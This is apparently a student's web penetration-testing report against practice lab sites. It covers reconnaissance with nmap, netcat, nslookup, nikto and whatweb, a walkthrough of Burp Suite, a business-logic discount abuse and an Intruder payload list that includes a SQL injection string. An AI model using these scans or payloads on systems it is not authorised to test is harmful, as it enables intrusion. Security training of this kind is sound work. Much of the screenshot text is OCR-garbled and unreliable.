An online ecommerce web application system may offer to the user a discount if product A is purchased. The user may not want to purchase product A, but product B. By filling the shopping cart with product A and product B, and entering the checkout process, the user obtains the discount. The user then backs out of the checkout process, and removes product A, or simply alters the values before submitting to the next step. The user then reenters the checkout process, keeping the discount already given in the previous checkout process with product A in the shopping cart, and obtains a fraudulent purchase price.

Web Application Testing Process **Information Gathering**

1. Conduct Search Engine Discovery and Reconnaissance for Information Leakage

Google hacking

technique Evident:

With: testphp.vulnweb.com

I have try google hack with search field parameter as: "site:

aspdotnetapp.infosecaddicts.com" After this, I got basic crawling result

below:

Home - InfoSec Addicts | Cyber Security | Pentester https://infosecaddicts.com/ -

Get away from the BS of the InfoSec Addicts world. Run, don't walk! InfoSec Addicts is a place that is solely focused on deep technical InfoSec Addicts.. Missing: aspdotnetapp- | Must include: aspdotnetapp.

Images for site: aspdotnetapp.infosecaddicts.com



Report images

→ More images for site: aspdotnetapp.infosecaddicts.com

Pentester Candidate Program - InfoSec Addicts

https://infosecaddicts.com/course/pentester-candidate-program/ ▼ This program is entirely self-contained in the InfoSec Addicts website. The "My Courses" of the site contains all of the tasks that you will be required to perform as ... Missing: aspdotnetapp. | Must include: aspdotnetapp.

Courses Archive - InfoSec Addicts

https://infosecaddicts.com/courses-overview/ -

You can sign up now by clicking on the link below: https://infosecaddicts.com/product/ ... Gain access to all certification courses on this page for only 600/ month.

I used some query to discovering more interested information :

Joseph McCray, Author at InfoSec Addicts

https://infosecaddicts.com/author/joemccray/ Mar 12, 2018 - This fundamental information becomes of valuable use for an attacker who wants to draw his conclusions about the fakeness of a **website**. Missing: aspdotnetapp. | Must include: aspdotnetapp.

InfoSecAddicts (@InfoSecAddicts) | Twitter

https://twitter.com/infosecaddicts?lang=en ▼ Thank you to @InfoSecAddicts for demonstrating a few ways to use @Burp_Suite to search for XSS, and File Inclusion vulnerabilities. Missing: aspdotnetapp. | Must include: aspdotnetapp.

References:

• http://www.mrjoeyjohnson.com/Google.Hacking.Filters.pdf

2. Fingerprint Web Server

Web server fingerprinting is a critical task for the Penetration tester. Knowing the version and type of a running web server allows testers to determine known vulnerabilities and the appropriate exploits to use during testing.

Black box test:

The simplest and most basic form of identify a web server is look at the server field in the HTTP response header with netcat

Example:

nc infosecaddicts.c om 80 GET / HTTP/1.1 Host: infosecaddicts.c om enter enter

Automate Testing tools: httprint,

Burpsuite Online Testing:

https://www.netcraft.com/

Evident:

• with netcat, we have result as below:

Network

Site	https://aspdotnetapp.infosecaddicts.com	Netblock Owner	Cloudflare, Inc.
Domain	infosecaddicts.com	Nameserver	andy.ns.cloudflare.com
IP address	104.25.166.6 (VirusTotal)	DNS admin	dns@cloudflare.com
IPv6 address	2606:4700:20:0:0:0:6819:a706	Reverse DNS	unknown
Domain registrar	unknown	Nameserver organisation	whois.cloudflare.com
Organisation	unknown	Hosting company	unknown
Top Level Domain	Commercial entities (.com)	DNS Security Extensions	Enabled
Hosting country	III US		

• Of course, we can use some extension of browser, such as:



• Online solutions:

Netblock owner	IP address	os	Web server	Last seen Refresh
Cloudflare, Inc. 101 Townsend Street San Francisco CA US 94107	104.25.167.6	unknown	cloudflare	5-Aug-2019

References:

- http://www.terminally-incoherent.com/blog/2007/08/07/few-useful-netcat-tricks/
- https://www.sans.org/security-resources/sec560/netcat_cheat_sheet_v1.pdf
- http://netcat.sourceforge.net.

- Hosting History

- https://www.darknet.org.uk/2007/09/httprint-v301-web-server-fingerprinting-tool-download/
- http://www.net-square.com/httprint.html

3. Review Webserver Metafiles for Information Leakage

How to test:

a. Robots.txt

Web spiders/robots/crawlers retrieve (access) a web page and then recursively traverse hyperlinks to retrieve further web content. Their accepted behavior is specified by the Robots Exclusion Protocol of the robots.txt file in the web root directory

Example:

abc.com/robots.txt Tool:

Using wget:

• Example: wget https://infosecaddicts.com/robots.txt

References:

http://www.robotstxt.org/

Evident:



b. META Tag

Tags are located within the HEAD section of each HTML Document and should be consistent across a web site in the likely event that the robot/spider/crawler start point does not begin from a document link other than webroot

Web spiders/robots/crawlers can intentionally ignore the "<META NAME="ROBOTS">" tag as the robots.txt file

Tool: BurpSuite

53	https://www.facebook.com	GET	/ac.php		404	330257	HTML	php	Không Tìm Thá⁰¥y Tr	1	31.13.78.35	ľ
55	https://tiles.services.mozilla.com	POST	/v4/links/activity-stream	~	200	176	JSON			1	54.213.128.13	7
57	https://tiles.services.mozilla.com	POST	/v3/links/ping-centre	~	200	176	JSON			1	54.213.128.13	7
62	https://static.xx.fbcdn.net	GET	/rsrc.php/v3/yy/r/tWB2hwXYKjK.js		200	319112	script	js		1	31.13.78.17	v .
-									,			7.6
Dec	uest Desponse											
Roy	Reaponae											
Rav	Headers Hex HTML Ren	der										
/><11	nk rel="alternate" media="	only se	reen and (max-width: 640nx)"	href="https:/	/www_facebo	ok com/ac	nhn" />	slink rel	"alternate" media="handheld"			
href=	"https://www.facebook.com	/ac.php"	/> <meta conten<="" name="robots" td=""/> <td>t="noodp.novd</td> <td>ir" /><meta< td=""><td>property</td><td>="og:tit.</td><td>le" conte</td><td>nt="Đăng nhập</td><td>ho&#xleb7;c</td><td></td><td></td></meta<></td>	t="noodp.novd	ir" /> <meta< td=""><td>property</td><td>="og:tit.</td><td>le" conte</td><td>nt="Đăng nhập</td><td>ho&#xleb7;c</td><td></td><td></td></meta<>	property	="og:tit.	le" conte	nt="Đăng nhập	ho&#xleb7;c		
6#x11	1;6#x103;ng k6#xfd; 6#x11.	l;&#xlec</td><td>3; xem" /><meta property="og:</td><td>description"</td><td>content="Xer</td><td>m bà</td><td>i via#xl</td><td>ebf;t. &#</td><td>xlea3;nh và n&#xled9;i dung</td><td>kh&fxel;c t</td><td>rên</td><td></td></tr><tr><td>Faceb</td><td>ook." /><link rel="mask-i</td><td>con" siz</td><td>es="any" href="/icon.svg" col</td><td>or="#3b5998"</td><td>/><link rel:</td><td>="shortcu</td><td>icon"</td><td>aref="htt:</td><td>os://static.xx.fbcdn.net/rsrc.php</td><td>/vl/r/H3nkt</td><td>0a72Mg.ico"</td><td></td></tr><tr><td>/><11</td><td>nk type="text/css" rel="st</td><td>yleshee</td><td>t" href="https://static.xx.fb</td><td>cdn.net/rsrc.</td><td>php/w3/yp/1.</td><td>/0, cross/</td><td>The 3TMv9</td><td>-xW.css"</td><td>data-bootloader-hash="UJfjG" data</td><td>-permanent=</td><td>"1"</td><td></td></tr><tr><td>cross</td><td>origin="anonymous" /></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td>- 8</td></tr><tr><td><link</td><td>type="text/css" rel="sty.</td><td>lesheet"</td><td>href="https://static.xx.fbcd</td><td>n.net/rsrc.ph</td><td>p/w3/yz/1/0</td><td>,cross/ 1</td><td>yKVVWuvl</td><td>.css" dat</td><td>a-bootloader-hash="KU2hX" data-p</td><td>ermanent="1</td><td></td><td></td></tr><tr><td>cross</td><td>origin="anonymous" /></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td></tr><tr><td><link</td><td>type="text/css" rel="sty.</td><td>lesheet"</td><td>href="https://static.xx.fbcd</td><td>n.net/rsrc.ph</td><td>p/v3/yu/1/0</td><td>,cross/r0</td><td>gludNoci.</td><td>a.css" da</td><td>a-bootloader-hash="f0fTF" data-p</td><td>ermanent="1</td><td>-</td><td></td></tr><tr><td>cross</td><td>origin="anonymous" /></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td></tr><tr><td><link</td><td>type="text/css" rel="sty.</td><td>lesheet"</td><td>href="https://static.xx.fbcd</td><td>n.net/rsrc.ph</td><td>p/w3/yI/1/0</td><td>,cross/DC</td><td>r ESRKy2Q</td><td>p.css" dat</td><td>a-bootloader-hash="Xm69H" data-p</td><td>ermanent="1</td><td></td><td></td></tr><tr><td>cross</td><td>origin="anonymous" /></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td></tr><tr><td colspan=10>k type="text/css" rel="stylesheet" href="https://static.xx.fbcdn.net/rsrc.php/v3/yR/1/0,cross/HYu0dr%baUE.css" data-bootloader-hash="KI5hb" data-permanent="1"</td><td></td></tr><tr><td colspan=11>crossorigin="anonymous" /></td><td></td></tr><tr><td><link</td><td>type="text/css" rel="sty.</td><td>lesheet"</td><td>href="https://static.xx.fbcd</td><td>n.net/rsrc.ph</td><td>p/w3/yS/1/0</td><td>,cross/N8</td><td>CynGa6zF</td><td>ľ.css" da</td><td>ca-bootloader-hash="X2vKp" data-p</td><td>ermanent="1</td><td></td><td></td></tr><tr><td>cross</td><td>origin="anonymous" /></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td></tr><tr><td><scri</td><td>pt src="https://static.xx</td><td>fbcdn.n</td><td>et/rsrc.php/v3/yy/r/tWB2hwXYK</td><td>ήK.js" data-b</td><td>ootloader-h</td><td>ash="MKcj</td><td>z" cross</td><td>origin="a</td><td>nonymous"></script></td><td></td><td></td><td></td></tr><tr><td>?</td><td>(+) ></td><td>IE="ROBO</td><td>TS"</td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td>1 match</td></tr></tbody></table>										

4. Enumerate Applications on Webserver

Base URLs:

- http://www.example.com/webmail
- http://mail.example.com/

Base ports:

Most basic and the simplest way is using port scanner such as nmap with this options. For example below:

nmap -sT -sV -p 0-65535 192.168.1.1

Base Domain name:

There are a number of techniques which may be used to idnetify DNS names to given IP, Which one is nslookup.

 cmd

nslooku

p all

set type=all

example.co

m

- Web-based DNS search:
 - http://searchdns.netcraft.com/?host
- Reverse IP:
 - Domain tools reverse IP: http://www.domaintools.com/reverse-ip/ (require free membership)
 - MSN search: http://search.msn.com syntax: "ip:x.x.x.x" (without the quotes)
 - o webhosting info: http://whois.webhosting.info/
 - o DNSstuff: http://www.dnsstuff.com/

Google hack

Evident:

• Example with nmap:

root@kali:~# nmap -sV 104.25.167.6
Starting Nmap 7.70 (https://nmap.org) at 2019-08-04 23:43 EDT
Nmap scan report for 104.25.167.6
Host is up (0.093s latency).
Not shown: 997 filtered ports
PORT STATE SERVICE VERSION
80/tcp open http cloudflare
443/tcp open ssl/https cloudflare
8080/tcp open http-proxy cloudflare
3 services unrecognized despite returning data. If you know the service/version,
prease submit the fortowing fingerprints at https://hmap.org/tgf-bin/submit.tg.
=
SFruiest 15F "HTTP/1\ 1\y20400\y20Rad
5: 0Aug/x202019/x202019/x20203:45:39/x206MT/r/ncontent-Type:/x20text/html/r/nconten
SF:t-1 ength:\x20171\r\nConnection:\x20close\r\nServer:\x20cloudflare\r\nCF
SF: - RAY:\x205015c78f8dda82a7-ATI\r\n\r\nshtml>\r\nshtm
SF:x20Request\r\n body x20Bacolor=\"white\">\r\n center> <h1< td=""></h1<>
SE:>400\x20Bad\x20Beguest\r\n hr> <center>cloudflare</center>

```
• Example with nslookup:
```

```
kali:~# nslookup
 infosecaddicts.com
                75.75.75.75
Server:
Address:
              75.75.75.75#53
Non-authoritative answer:
Name: infosecaddicts.com
Address: 104.25.166.6
Name: infosecaddicts.com
Address: 104.25.167.6
Name: infosecaddicts.com
Address: 2606:4700:20::6819:a706
Name: _______infosecaddicts.com
Address: 2606:4700:20::6819:a606
> set type = all
*** Invalid option: type
```

Tools:

- nslookup, dig
- Port scanner: nmap http://www.insecure.org
- Nessus Vulnerability Scanner. http://www.nessus.org
- Search engine: shodan.io, google.

Note for shodan.io: //null

5. Review Webpage Comments and Metadata for Information Leakage

It is very common, and even recommended, for programmers to include detailed comments and metadata on their source code. However, comments and metadata included into the HTML code

might reveal internal

information that should not be available to potential attackers. Comments and metadata review should be done in order to determine if any information is being leaked.

Tools:

企

- Wget
- Any browser

i view-source:http://192.168.222.136/mutillidae/index.php

```
<!-- I think the database password is set to blank or perhaps samurai.
It depends on whether you installed this web app from irongeeks site or
are using it inside Kevin Johnsons Samurai web testing framework.
It is ok to put the password in HTML comments because no user will ever see
this comment. I remember that security instructor saying we should use the
framework comment symbols (ASP.NET, JAVA, PHP, Etc.)
rather than HTML comments, but we all know those
security instructors are just making all this up. -->
```

6. Identify Application Entry Points

In request:

- Identify where GETs are used and where POST are use
- Identify ALL parameters used in POST request (including hidden parameter and unhidden parameter)
- Identify ALL parameters used in GET request (usually after ? mark)
- Identify all parameters of query string
- Pay attention for parameters even if encoded or encrypted and identify which ones account who are process by application.

In response:

- Identify and note any headers
- Identify where there are any redirects (300 HTTP status code), 400 status code, 403 particular forbidden and 500 internal server errors during normal response.

Tools:

- Intercept proxy: Burpsuite, paros, webscarab,...
- Browser plugins: Tamper data on firefox,...

Some note:

• To discovering hidden parameters, I can use Burp Suite with following options:

					~							_			
		Target	Proxy	Spider	Scanne	er Í Intru	der	Repea	ter	Seque	encer				
	- 1	Intercep	t HTTP	history	WebSoo	kets histo	ory	Option	s						
	Γ				10 0001111	loooagoo	_								
		? R	espons	e Modi	fication										
			hese setti	ngs are u	ised to pe	rform auto	omatio	c modific	ation	of res	ponses.				
			🛛 Unhide	hidden fo	orm fields										
			🗹 Pro	minently	highlight u	nhidden f	ields								
¢)→ C û	t	i 🔒 https:	//phpapp.infc	secaddicts.co	n/chekout.ph	р		⊌	php 🏠		⊻ III\ 🗉	Burp 👝	•	
	_	ACMELAPT	0P					Hey	! Shin	obibughi	unter Wel-C	ome			
Cat	egories			Н	ome		Buy			Career		Abou	ıt us		
>	Acer Compag			BUY											
>	Dell			Fill buy	/ on Acme										
>	Gateway Hewlett			Hic	lden fie	ld [bid	amo	ount] 2	2000						
>	lbm Sony					F	lidde	n field	item	namel	dell1				
>	Toshiba			Item Nar	ne:	dell1									
				Name:		F	lidde	n field	[bidd	ernam	e] shinobibug	hunter		_	
						shino	bibughur	nter	omo						
				E-mail:		shind	bibughur	nter@gmail.co	m m	II] shinobi	bughunter@gma	il.cor			
				Phone N	o:	F	lidde	n field	[phor	1 e] 3144	237606			_	
				Quantity		3144	237606								
				quantity			×								
				Update	Quantity										
	• V	Vith stat	us code,	using I	Burpsuit	e to find	l'em	out							
		Target	Proxy S	pider (Scanner	Intruder	Rep	peater	Sequ	encer	Decoder	Com	parer	Extender	Projec
	ſ	Site map	Scope												
	=	ilter: Hiding	not found	litems: hi	iding CSS	mage and	nene	ral hinar	v cont	ent: hir	ling empty	folders			
		inter: maing		ntonio, ni	ang ooo,	mage and	gene		,		ang capty	Telders			
		? E	ilter by req	uest type			F	ilter by N	IME ty	/pe		Fil	ter by s	status code	
			Show	only in-se	cope items		11	☑ HTM	2	Ø	ther text		🗹 2xx	[success]	
			Show	only requ	ested item	s		🗹 Scri	pt	🔲 İr	nages		🗹 3xx	[redirection	1
			Show	only para	meterized	requests		🗹 XML		🗹 F	lash		✓ 4xx	[request er	ror]
			🗹 Hide n	ot-found i	items		Л				ther binar	y I	✓ 5xx	[server err	or]

• Capture request parameters and response header with Burp Suite

Filter:	Filter: Hiding CSS, image and general binary content				Burp Proxy HTTP History										
#	Host	Method	URL					Logging of out-of-scope Proxy traffic i	is disabled	e-enable					
1	https://phpapp.infosecaddic	POST	/chekout.php												
15	https://www.google-analytic	GET	/r/collect/v=1&_v=	Filter:	Hiding CSS, i	nage and general b	inary conte	int							
4	https://phpapp.infosecaddic	GET	/cdn-cgi/scripts/50	#	Host		Method	URL	Para V Edite	d Status	Length	MIME type	Extensi		
5	https://ajax.cloudflare.com	GET	/cdn-cgi/scripts/9	1	https://phi	app.infosecaddic	POST	/chekout.php	1	200	14088	HTML	php		
6	https://phpapp.infosecaddic	GET	/cdn-cgi/apps/bod	15	https://ww	v.google-analytic	GET	/r/collect?v=1& v=i77&a=792673	1	200	11000		prip		
14	https://www.google-analytic	GET	/analytics.js	2	https://phj	app.infosecaddic	. GET	/cdn-cgi/apps/head/ckgy0PiWGjg		304	711	script	js		
				4	https://ph	app.infosecaddic	. GET	/cdn-cgi/scripts/5c5dd728/cloud		304	520	script	js		
-				5	https://aja	.cloudflare.com	GET	/cdn-cgi/scripts/95c75768/cloud		304	514	script	js		
Requ	uest Original response Auto	-modified	response	6	https://phj	app.infosecaddic	. GET	/cdn-cgi/apps/body/nWFfBVgKuw		304	699	script	js		
Incq	original response Mato	mounicu	response	14	https://ww	v.google-analytic	GET	/analytics.js		304	184	script	js		
Raw	Params Headers Hex														
POST r	equest to /chekout.php														
Type			Nar												
Cooki	e		c												
Cooki	e		_97												
Cooki	e		_gi	(· · · ·	110								
Cooki	e		PHF	Req	uest Origin	al response Aut	o-modified	response							
Cooki	e		a	Rau	Handara		un de r								
Cooki	e		t	Ravi	Headers	HEA HIML K	inuei								
Cooki	e		S	Name				Value							
Cooki	e		_fb												
COOKI	e		_9a	<html< td=""><td>></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td></html<>	>										
Body			hid	<head< td=""><td>></td><td>n agi (appa (boa</td><td>d (akay0p</td><td>incia0 on KuaMmea9≣mm211, in "≻<td>rint>contint</td><td>nva=" in (av</td><td>disaand</td><td>in "</td><td></td></td></head<>	>	n agi (appa (boa	d (akay0p	incia0 on KuaMmea9≣mm211, in "≻ <td>rint>contint</td> <td>nva=" in (av</td> <td>disaand</td> <td>in "</td> <td></td>	rint>contint	nva=" in (av	disaand	in "			
Body			bid	type=	"f8e6082b6	13a25193224f8f	-text/ja	/aacript">	ript>~acript	arc- jajor,	sorreare.	Ja			
Body			em	<td>d></td> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td>	d>										
Body			pho	<1000	TYPE HTNL I	UBLIC "-//W3C/	/DTD HTN	6 4.01 Transitional//EN"							
Body			em	<html< td=""><td>><head></head></td><td>19/15/08014/10</td><td>oae.dtd -</td><td>-</td><td></td><td></td><td></td><td></td><td></td></html<>	> <head></head>	19/15/08014/10	oae.dtd -	-							
Body			pho	<titl< td=""><td>e>Acme lap</td><td>op</td><td></td><td></td><td></td><td></td><td></td><td></td><td></td></titl<>	e>Acme lap	op									
Body		qua	<pre></pre>												
Body	Body				name="debi	ription" conte orda" content:	nt= on1	boy">							
				<neta< td=""><td>name="exp</td><td>rea" content='</td><td>never"></td><td></td><td></td><td></td><td></td><td></td><td></td></neta<>	name="exp	rea" content='	never">								
Roduco	needing: application (x, your for	m urlance	dod	<link< td=""><td>href="aty</td><td>e/atyle.cas" 1</td><td>el="atyl</td><td>asheet" type="text/cas"></td><td> (</td><td></td><td></td><td></td><td></td></link<>	href="aty	e/atyle.cas" 1	el="atyl	asheet" type="text/cas">	(
body e	ncoung. application/x-www-lor	m-unenco	ueu	<acri< td=""><td>pt type="1</td><td>e608206013a251</td><td>93224181</td><td>-text/javaacript" arc="md5.ja"></td><td>></td><td></td><td></td><td></td><td></td></acri<>	pt type="1	e608206013a251	93224181	-text/javaacript" arc="md5.ja">	>						

7. Map execution paths through application

Before commencing security testing, understanding the structure of the application is paramount. Without a thorough understanding of the layout of the application, it is unlikely that it will be tested thoroughly

Test objectives

• Map the target application and understand the principal workflows

Automatic Spider tools

- Burp Suite
- ZAP

Automate Spider example



https://phpapp.infosecaddicts.com	Host	Method	URL	Params	Status 🔺	Length	MIME type
How_to_bid.htm	https://phpapp.infose	POST	/chekout.php	~	200	14088	HTML
🕨 🧟 acre2.php	https://phpapp.infose	GET	/chekout.php				
🗋 career.php			,				
🔻 🧮 cdn–cgi							
apps							
▶ <mark></mark>							
scripts							
🗸 🚱 chekout.php							
🔀 itemname=dell1&bidamount=22000&bidder							
🗋 index.php							
🔻 🧮 js							
s creditcard.js							
🗋 login.php							
logout.php							
s md5.js							
D pay.htm							
showfile.php							

8. Fingerprint Web Application & Web Application Framework

Web framework fingerprinting is an important subtask of the information gathering process. Knowing the type of framework can automatically give a great advantage if such a framework has already been tested by the penetration tester. It is not only the known vulnerabilities in unpatched version but specific misconfigurations in the framework and known file structure that makes the fingerprinting process so important.

Black Box Testing

There are several most common locations to look in in order to define the current framework

- HTTP headers
- Cookies
- HTML source code
- Specific files and folders

HTTP headers

The most basic form of identifying a web application framework is to look at the X-Powered-By field in the HTTP response header.

Oi https://phpapp.infosecaddicts.com	Host	Method	URL	Params	Status 🔺	Length	MIME type	Title	Comment	Ti
	https://phpapp.infose	GET	1		200	14766	HTML	Acme laptop		22
🕨 🧐 acre2.php	https://phpapp.infose	GET	/acre2.php		200	8799	HTML	Acme laptop		22
authenticate.php	https://phpapp.infose	POST	/acre2.php	~	200	11406	HTML	Acme laptop		22
career.php	https://phpapp.infose	GET	/acre2.php?lap=Com	~	200	10110	HTML	Acme laptop		22
🔻 🦲 cdn-cgi	https://phpapp.infose	GET	/acre2.php?lap=acer	~	200	11406	HTML	Acme laptop		22
apps	https://phpapp.infose	GET	/acre2.php?lap=dell	~	200	10065	HTML	Acme laptop		22
	https://phpapp.infose	GET	/acre2.php?lap=gatew	~	200	10111	HTML	Acme laptop		22
scripts	https://phpapp.infose	GET	/acre2.php?lap=hewlett	~	200	10112	HTML	Acme laptop		2
styles	https://phpapp.infose	GET	/acre2.php?lap=ibm	~	200	10177	HTML	Acme laptop		22
🔻 🤮 chekout.php	https://phpapp.infose	GET	/acre2.php?lap=sony	~	200	10105	HTML	Acme laptop		22
bidamount=22000&quantity=2&itemname=(https://phpapp.infose	GET	/acre2.php?lap=toshiba	~	200	10111	HTML	Acme laptop		22
itemname=dell1&bidamount=22000&bidder	https://phpapp.infose	GET	/career.php		200	9796	HTML	Acme laptop		22
forgetpassword.php	https://phpapp.infose	GET	/cdn-cgi/apps/body/		200	3381	script			22
icons	•									
images						_				_
index.php	Request Response									
V 🧧 js		~								_
▶ ₩ /	Raw Headers Hex	HTML	Render							
s bid.js	HTTP/1.1 200 OK									_
s bid1.js	Date: Tue, 06 Aug 20	19 03:11	:24 GMT							
bid12.js	Content-Type: text/h	tml; cha	Iraet=UTF-8							
s career.js	Connection: close									
s creditcard.js	Expires: Thu. 19 Nov	4.16 1981 D8	3:52:00 GMT							
s register.js	Cache-Control: no-at	ore, no-	cache, must-revalida	te, post	-check=0	, pre-ch	heck=0			
s register1.js	Pragma: no-cache									
iogin.pnp	Strict-Transport-Sec	urity: n	lax-age=0							
li logout.pnp	Expect-CT: max-age=6	04800, 1	eport-uri="https://r	eport-us	i.cloudf	lare.com	n/cdn-cai/be	acon/expect-ct"		
s mas.js	Server: cloudflare									
register1.pnp	CF-RAY: 501dd2c00e5b	ba64-ATI	i							
📋 snop.pnp	Content-Length: 1424	4								
r 🐡 snowne.pnp										



Another similar and somehow more reliable way to determine the current web framework are framework- specific cookies.

Inter	5.//UVW31.IIII03CC	UL1	/ 4 4 4 5 1 /	vuinerabilities/xst/:C=3,0=D	*	200	1341	ET LIVIL	IIIIICA			
http	os://dvws1.inf 🔻	GET	/dvws1/	vulnerabilities/xst/xst.php		200	3980	HTML	Cross			
http	s://dvws1.infosec	GET	/dvws1/	vulnerabilities/xxe/		200	3982	HTML	XML E			
4												
Re	quest Response					_						
Ra	w Headers Hex	HTML	Render									
HTTP	HTTP/1.1 200 OK											
Date	: Tue, 06 Aug 20	019 04:0	7:50 GMT									
Cont	ent-Type: text/h	teml; ch	arset=UT	P-8								
Conn	ection: close											
X-PO	wered-By: PHP/5.	6.33										
Set-	<mark>Cookie</mark> : Stealthi	is <mark>cookie</mark>	withXST=	890750684af1101a65f443f0	39002951							
Stri	ct-Transport-Sec	ority: 0	max-age=	D								
X-Co	ntent-Type-Optic	ona: noa	niff									
Expe	Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"											
Server: cloudflare												
CP-R	CP-RAY: 501e25645b96ba8e-ATL											
Cont	ent-Length: 3527	7										

HTML source code

This technique is based on finding certain patterns in the HTML page source code. We can find a lot of information which helps a tester to recognize a specific web application.

(\leftarrow)	\rightarrow Cr	企	i view-source:https://aspdotnetapp.infosecaddicts.com/Default.aspx		ជ		$\overline{\mathbf{A}}$	lii/		۲		4
1	<1000778	PE html PUBLT	c "_//W3C//DTD YUTMT 1 0 Transitional//EN" "http://www.w3 org/TP/vh	+==11/2	א/ חידו	tml1_tran		onel.	a+ a"			
3	<html td="" x<=""><td>mlns="http://</td><td>www.w3.org/1999/xhtml"></td><td>CIII 1 / D</td><td></td><td></td><td>5101</td><td>mar.</td><td>uru</td><td>-</td><td></td><td></td></html>	mlns="http://	www.w3.org/1999/xhtml">	CIII 1 / D			5101	mar.	uru	-		
4	<head></head>											
5	<script< td=""><td><pre>src="/cdn-cg.</pre></td><td>i/apps/head/ckgy0PiWGjg9puHUcMTwq3BmE2U.js"><script """"""""""""""""""""""""""""""""""<="" td="" type=""></script></td></script<>	<pre>src="/cdn-cg.</pre>	i/apps/head/ckgy0PiWGjg9puHUcMTwq3BmE2U.js"> <script """"""""""""""""""""""""""""""""""<="" td="" type=""></script>									

Specific files and folders

Every application has its own specific file and folder structure on the server. We can use tool or manual access them.

Dirbusting example

• Google hacking technique

https://www.exploit-db.com/ghdb/4675/



• BurpSuite Intruder

```
GET /bookdetail.aapx?id=$1$ MTTP/1.1
Host: aspdotnetapp.infosecaddicts.com
Accept: */*
Accept: */*
Accept: */*
Accept: */*
Accept: */*
Accept: */*
Cookie: cfduid=cforecompatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Referer: https://apdotnetapp.infosecaddicts.com/Default.aspx
Cookie: cfduid=cforecoff5e59a793349b3b819dae03f6e1564954288; ga=GAL2.781573113.1564954291; gid=GAL2.631839643.1564954291;
PHPEESSID=apk77a2jhgq4lfrgaljnge0qk2; gauc+4c20475016c5e988ea135b1a1af;
tawkoutd=*:infosecaddicts.com:rAptkKxgPF6GWh89k8Tq88wvkKPHuRU+589K8td825w0ontPQ+agNYEMx4oBhx//::2; __stripe_mid=b53f835b-625c-4a04-8fe8-075c7bbca7cf;
_fbp=fb.1.1564955153850.417041806; _gat=1
```

?	Payload Sets You can define one or more payload sets. The number of payload sets depends o	n the attack ty	ype defined in the Positions tab. \	/arious paylo	ad types ar	e available	for each pay	load set, and each payload type
	can be customized in different ways. Payload set: Payload count: 5 Payload type: Simple list Request count: 5	Attack Sav	e Columns Target Positions Payloads	Options	I	ntruder a	ttack 1	
?	Payload Options [Simple list] This payload type lets you configure a simple list of strings that are used as paylo Paste Load Igin Remove Clear	Filter: Show	ing all items Payload , admin login sign-in ' or 1=1	Status 200 500 500 500 500 500 500	Error	Timeout	Length 12291 5917 5691 5691 5735 5735 5997	Comment

Common Application Identifiers

Application	Keyword
Wordpress	<meta content="WordPress 3.9.2" name="generator"/>
phpBB	<body <="" id="phpbb" td=""></body>
Mediawiki	<meta content="MediaWiki 1.21.9" name="generator"/>
Joomla	<meta content="Joomla! - Open Source Content Management" name="generator"/>
Drupal	<meta content="Drupal 7 (http://drupal.org)" name="Generator"/>
DotNetNuke	DNN Platform - http://www.dnnsoftware.com

Framework	Cookie name
Zope	zope3
CakePHP	cakephp
Kohana	kohanasession
Laravel	laravel_session

Nikto

li:~# nikto -h https://aspdotnetapp.infosecaddicts.com Nikto v2.1.6 104.25.166.6 Target IP: Target Hostname: aspdotnetapp.infosecaddicts.com Target Port4993.php 443 omain/CN=ssl373680.cloudflaressl.com Ciphers: TLS_AES_256_GCM_SHA384 Issuer: /C=GB/ST=Greater Manchester/L=Salford/O=COMODO CA L imited/CN=COMODO ECC Domain Validation Secure Server CA 2 Message: Multiple IP addresses found: 104.25.166.6, 104.25.167.6 Start Time: 2019-08-06 00:29:14 (GMT-4) Server: cloudflare The X-XSS-Protection header is not defined. This header can hint to the user a gent to protect against some forms of XSS The site uses SSL and the Strict-Transport-Security HTTP header is set with ma x-age=0. Expect-CT is not enforced, upon receiving an invalid Certificate Transparency Log, the connection will not be dropped. All CGI directories 'found', use '-C none' to test none Hostname 'aspdotnetapp.infosecaddicts.com' does not match certificate's names:

Whatweb

root@kali:~# whatweb aspdotnetapp.infosecaddicts.com http://aspdotnetapp.infosecaddicts.com [301 Moved Permanently] Country[UNITED ST ATES][US], HTTPServer[cloudflare], IP[104.25.166.6], RedirectLocation[https://as pdotnetapp.infosecaddicts.com/], UncommonHeaders[x-content-type-options,cf-ray] https://aspdotnetapp.infosecaddicts.com/ [200 0K] ASP_NET[4.0.30319], CloudFlare , Cookies[__cfduid], Country[UNITED STATES][US], HTTPServer[cloudflare], HttpOnl y[_cfduid], IP[104.25.166.6], Script[8e4dba6970c3473b017b9671-text/javascript], Strict-Transport-Security[max-age=0], Title[Welcome page][Title element contain s newline(s)!], UncommonHeaders[x-content-type-options,expect-ct,cf-ray], X-Powe red-By[ASP.NET] root@kali:~#

Configuration and Deployment Management Testing

1. Test Network/Infrastructure Configuration

Review of the Application

Architecture Known Server

Vulnerabilities

• Using Nessus Scan for Metasploitable 2, we have some Known vulnerabilities as shown below:

s	can	s	Settings													
			Sev .	Name 🔺	Family A Count v			Name:	mtea							
			CRITICAL	Debian OpenSSH/OpenSSL Package Random Number	Gain a shell remotely	1	1	Status: Policy:	Completed Advanced Scan Local Scanner Today at 3:14 PM	Completed Advanced Sca	Completed Advanced Scan	Completed Advanced Scan	Completed Advanced Scan	Completed Advanced Scar	vleted nced Scan	an
			CRITICAL	rexecd Service Detection	Service detection	1	1	Scanner: Start:		ier 14 PM						
			CRITICAL	Rogue Shell Backdoor Detection	Backdoors	1	1	End: Elapsed:	Today a 4 minut	ıt 3:19 es	9 PM					
			CRITICAL	Unix Operating System Unsupported Version Detection	General	1	1	Vulnerabilit	ies							
			CRITICAL	VNC Server 'password' Password	Gain a shell remotely	1	1			•	Critical					
			HIGH	rlogin Service Detection	Service detection	1				•	High Medium					
			HIGH	rsh Service Detection	Service detection	1	1	Elapsed: 4 minutes	Low Info							
			HIGH	Unsupported Web Server Detection	Web Servers	1										

Administrative Tools

• List all the possible administrative interfaces such as:

Local remote

